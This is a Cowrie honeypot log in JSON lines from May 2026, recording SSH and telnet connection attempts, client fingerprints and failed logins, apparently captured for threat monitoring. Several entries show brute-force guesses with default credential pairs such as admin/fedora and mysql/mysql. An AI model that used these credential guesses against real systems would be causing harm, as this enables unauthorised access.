{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:22.179599Z","src_ip":"209.99.189.177","session":"4b071b17c238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:22.308518Z","src_ip":"209.99.189.177","session":"4b071b17c238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty","message":"login attempt [ubuntu/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:22.849844Z","src_ip":"209.99.189.177","session":"4b071b17c238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":59532,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbcd60511044","protocol":"telnet","message":"New connection: 5.252.154.12:59532 (10.17.0.5:23) [session: bbcd60511044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:23.309599Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:23.981218Z","src_ip":"209.99.189.177","session":"4b071b17c238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42064,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a34dc9108b7","protocol":"telnet","message":"New connection: 174.138.46.234:42064 (159.203.135.109:23) [session: 1a34dc9108b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:28.434489Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42378,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0b2599dec1c","protocol":"telnet","message":"New connection: 174.138.46.234:42378 (159.203.135.109:23) [session: f0b2599dec1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:28.583026Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42528,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba79b485dc4","protocol":"telnet","message":"New connection: 174.138.46.234:42528 (159.203.135.109:23) [session: aba79b485dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:29.152941Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42750,"dst_ip":"159.203.135.109","dst_port":23,"session":"1420dd133c08","protocol":"telnet","message":"New connection: 174.138.46.234:42750 (159.203.135.109:23) [session: 1420dd133c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:29.900245Z"}
{"eventid":"cowrie.session.closed","duration":5.991403102874756,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:35.891391Z","src_ip":"174.138.46.234","session":"1420dd133c08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.984106302261353,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:38.136937Z","src_ip":"174.138.46.234","session":"aba79b485dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":53947,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f9af3f7ef4","protocol":"ssh","message":"New connection: 155.4.244.179:53947 (10.17.0.5:22) [session: 23f9af3f7ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:40.007419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:40.012694Z","src_ip":"155.4.244.179","session":"23f9af3f7ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:40.118170Z","src_ip":"155.4.244.179","session":"23f9af3f7ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tf2server","password":"tf2","message":"login attempt [tf2server/tf2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:40.986891Z","src_ip":"155.4.244.179","session":"23f9af3f7ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:42.096684Z","src_ip":"155.4.244.179","session":"23f9af3f7ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95885705947876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:54.268320Z","src_ip":"5.252.154.12","session":"bbcd60511044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.182.234.94","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f61c7d3b0c6","protocol":"telnet","message":"New connection: 179.182.234.94:49582 (10.17.0.5:23) [session: 1f61c7d3b0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:58.248893Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.212.94","src_port":50388,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d6fcf32da7","protocol":"ssh","message":"New connection: 81.30.212.94:50388 (10.17.0.5:22) [session: 95d6fcf32da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:03.857889Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47026,"dst_ip":"10.17.0.5","dst_port":23,"session":"1def6eae5465","protocol":"telnet","message":"New connection: 20.123.41.163:47026 (10.17.0.5:23) [session: 1def6eae5465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:13.342634Z"}
{"eventid":"cowrie.session.closed","duration":45.04973864555359,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:13.484126Z","src_ip":"174.138.46.234","session":"1a34dc9108b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.22794556617737,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:15.810847Z","src_ip":"174.138.46.234","session":"f0b2599dec1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.182775259017944,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:19.525296Z","src_ip":"20.123.41.163","session":"1def6eae5465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49488,"dst_ip":"10.17.0.5","dst_port":22,"session":"92bb345aff64","protocol":"ssh","message":"New connection: 103.248.120.6:49488 (10.17.0.5:22) [session: 92bb345aff64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:30.929422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:30.937578Z","src_ip":"103.248.120.6","session":"92bb345aff64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:31.163565Z","src_ip":"103.248.120.6","session":"92bb345aff64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2020","message":"login attempt [test/test@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:32.085048Z","src_ip":"103.248.120.6","session":"92bb345aff64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:33.310850Z","src_ip":"103.248.120.6","session":"92bb345aff64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.33.83.70","src_port":26656,"dst_ip":"10.17.0.5","dst_port":23,"session":"74294b36db95","protocol":"telnet","message":"New connection: 201.33.83.70:26656 (10.17.0.5:23) [session: 74294b36db95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:36.172783Z"}
{"eventid":"cowrie.session.closed","duration":0.0051538944244384766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:36.177804Z","src_ip":"201.33.83.70","session":"74294b36db95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34604,"dst_ip":"10.17.0.5","dst_port":23,"session":"db188d2ef415","protocol":"telnet","message":"New connection: 20.123.41.163:34604 (10.17.0.5:23) [session: db188d2ef415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:45.174128Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":62557,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8bfb28bdc6e","protocol":"ssh","message":"New connection: 155.4.244.179:62557 (10.17.0.5:22) [session: c8bfb28bdc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:46.030096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:46.034218Z","src_ip":"155.4.244.179","session":"c8bfb28bdc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:46.138899Z","src_ip":"155.4.244.179","session":"c8bfb28bdc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:48.084199Z","src_ip":"155.4.244.179","session":"c8bfb28bdc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":14198,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de6d20807c7","protocol":"ssh","message":"New connection: 185.48.213.208:14198 (10.17.0.5:22) [session: 7de6d20807c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:48.557892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:48.562812Z","src_ip":"185.48.213.208","session":"7de6d20807c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:48.684864Z","src_ip":"185.48.213.208","session":"7de6d20807c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.76005220413208,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:48.934075Z","src_ip":"20.123.41.163","session":"db188d2ef415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:49.192264Z","src_ip":"155.4.244.179","session":"c8bfb28bdc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fedora","message":"login attempt [admin/fedora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:49.198051Z","src_ip":"185.48.213.208","session":"7de6d20807c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:26:50.321654Z","src_ip":"185.48.213.208","session":"7de6d20807c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52984,"dst_ip":"10.17.0.5","dst_port":23,"session":"13521842429d","protocol":"telnet","message":"New connection: 20.123.41.163:52984 (10.17.0.5:23) [session: 13521842429d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:06.998213Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":36604,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4eb000e265b","protocol":"telnet","message":"New connection: 5.252.154.12:36604 (10.17.0.5:23) [session: e4eb000e265b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:10.505535Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"9255251fa3a7","protocol":"telnet","message":"New connection: 5.252.154.12:36618 (10.17.0.5:23) [session: 9255251fa3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:11.088259Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":56670,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b13e6eb762","protocol":"ssh","message":"New connection: 209.99.189.177:56670 (10.17.0.5:22) [session: 70b13e6eb762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:13.605269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:13.609771Z","src_ip":"209.99.189.177","session":"70b13e6eb762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:13.737486Z","src_ip":"209.99.189.177","session":"70b13e6eb762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:14.281164Z","src_ip":"209.99.189.177","session":"70b13e6eb762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:15.412566Z","src_ip":"209.99.189.177","session":"70b13e6eb762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":57542,"dst_ip":"10.17.0.5","dst_port":23,"session":"db091837b22a","protocol":"telnet","message":"New connection: 5.252.154.12:57542 (10.17.0.5:23) [session: db091837b22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:27.336573Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":57548,"dst_ip":"10.17.0.5","dst_port":23,"session":"0815b9501e30","protocol":"telnet","message":"New connection: 5.252.154.12:57548 (10.17.0.5:23) [session: 0815b9501e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:28.633234Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.89","src_port":59536,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a0bab871f43","protocol":"ssh","message":"New connection: 198.235.24.89:59536 (159.203.135.109:22) [session: 8a0bab871f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:35.005887Z"}
